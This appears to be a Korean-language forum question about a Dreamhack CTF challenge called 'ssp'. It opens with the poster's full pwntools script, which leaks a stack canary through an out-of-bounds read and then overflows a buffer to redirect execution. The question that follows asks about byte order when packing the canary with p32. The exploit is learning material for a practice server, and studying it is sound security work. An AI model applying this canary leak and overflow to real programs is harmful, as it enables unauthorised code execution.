from pwn import *
p = remote('host3.dreamhack.games', 21344)
e = ELF('./ssp')
pay = b'a'*129
p.sendafter(b'> ',b'F')
p.sendafter(b'box input : ', pay)
p.sendafter(b'> ',b'P')
p.sendlineafter('Element index : ', '131')
p.recvuntil(b'Element of index 131 is : ')
canary = p.recv(2)
p.sendafter(b'> ',b'P')
p.sendlineafter(b'Element index : ',b'130')
p.recvuntil(b'Element of index 130 is : ')
canary += p.recv(2)
p.sendafter(b'> ',b'P')
p.sendlineafter(b'Element index : ',b'129')
p.recvuntil(b'Element of index 129 is : ')
canary += p.recv(2)
p.sendafter(b'> ',b'P')
p.sendlineafter(b'Element index : ',b'128')
p.recvuntil(b'Element of index 128 is : ')
canary += p.recv(2)
success(canary)
canary = int(canary,16)
success('p sent')
address = 0x080486b9
payload = b'a'*64 + p32(canary) + b'a'*0x8 + p32(address)
p.sendafter(b'> ',b'E')
p.sendlineafter(b'Name Size : ',b'1000')
p.sendafter(b'Name : ', payload)
p.interactive()
위는 제가 작성한 코드입니다. 카나리와 관련해서 질문이 있습니다.
처음에 카나리값을 128~131까지 받아와서 저장한 뒤 payload를 보낼 때 p32(canary)를 해주면 될 것이라고 생각해서 해봤는데 안되었습니다. 하지만 카나리를 역순으로 받으니 문제가 해결되더라고요.
질문사항은 아래와 같습니다.
위 코드대로 했을 때는 처음에 recv를 통해서 만들어진 canary 값은 원래 값의 역순일 것입니다.(예를 들어 원래 카나리 값이 00112233 이렇다면 저기의 canary는 33221100이겠죠) 그런데 이렇게 만들어진 카나리에 p32()를 씌워버리면 다시 00112233이 되니까 페이로드를 보낼 때 리틀엔디언방식(즉 역순)으로 보내지는 것이 아니라서 처음에 받을 때 순방향으로 받고 p32()로 리틀엔디언 패킹을 해줘야 하는게 아닌가요?
이렇게 생각한 이유는 address의 경우 순방향 값인 0x080486b9을 address에 넣은 뒤 p32()로 페이로드에 작성했으므로 canary도 처음에 순방향으로 받고 이후에 p32()로 리틀엔디언 패킹을 해줘야한다고 생각해서입니다.